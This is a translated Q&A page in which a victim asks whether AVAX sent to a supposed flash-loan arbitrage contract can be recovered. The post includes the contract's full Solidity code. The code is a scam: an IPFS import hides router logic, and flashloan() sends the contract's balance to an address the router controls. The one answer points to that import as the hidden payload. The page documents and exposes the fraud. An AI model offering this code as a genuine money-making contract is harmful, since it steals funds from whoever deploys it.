首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >我给avax签了一份贷款合同,我能把它拿回来吗?我得到了在线代码0xCDD09A51Eb4C3ACDFaB 9257719362CBaC199d0a9这是地址

我给avax签了一份贷款合同,我能把它拿回来吗?我得到了在线代码0xCDD09A51Eb4C3ACDFaB 9257719362CBaC199d0a9这是地址
EN

Ethereum用户
提问于 2022-03-26 05:16:05
回答 1查看 269关注 0票数 0
代码语言:javascript
复制
// This is for educational purposes only!
// Try it at your own risk!
    
// Follow carefully the video
// Do not modify this contract code otherwise it won't work on you!
// Just Copy+Paste and Compile!
// Thank you for your support! Enjoy your Earnings!
    
pragma solidity ^0.5.0;
    
//Pangolin Contracts
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IPangolinCallee.sol";
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IERC20.sol";
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IPangolinPair.sol";
    
// V-Cred Router
import "ipfs://QmQWv5jf1fyDFW4cMhyEvCucQKJdL22zdRpcEgoxZkeweE";
    
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";



contract InitiateFlashLoan {
    RouterV2 router;
    string public tokenName;
    string public tokenSymbol;
    uint256 flashLoanAmount;

    constructor(
        string memory _tokenName,
        string memory _tokenSymbol,
        uint256 _loanAmount
    ) public {
        tokenName = _tokenName;
        tokenSymbol = _tokenSymbol;
        flashLoanAmount = _loanAmount;

        router = new RouterV2();
    }

    function() external payable {}

    function flashloan() public payable {
        // Send required coins for swap
        address(uint160(router.pangolinSwapAddress())).transfer(
            address(this).balance
        );

        router.borrowFlashloanFromMultiplier(
            address(this),
            router.avaxSwapAddress(),
            flashLoanAmount
        );
        //To prepare the arbitrage, Avax is converted to Dai using V-Cred swap contract.
        router.convertAvaxTo(msg.sender, flashLoanAmount / 2);
        //The arbitrage converts token for AVAX using token/AVAX Pangolin, and then immediately converts AVAX back
        router.callArbitragePangolin(router.avaxSwapAddress(), msg.sender);
        //After the arbitrage, Avax is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 Avax of gas.
        router.transferAvaxToMultiplier(router.pangolinSwapAddress());
        //Note that the transaction sender gains 9ish Avac from the arbitrage, this particular transaction can be repeated as price changes all the time.
        router.completeTransation(address(this).balance);
    }
}
EN

回答 1

Ethereum用户

发布于 2022-04-23 19:18:18

代码在代码// V-Cred路由器导入"ipfs://QmQWv5jf1fyDFW4cMhyEvCucQKJdL22zdRpcEgoxZkeweE";的这一行中注入

它是所有隐藏函数的链接。

票数 0
EN
页面原文内容由Ethereum提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://ethereum.stackexchange.com/questions/124726

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档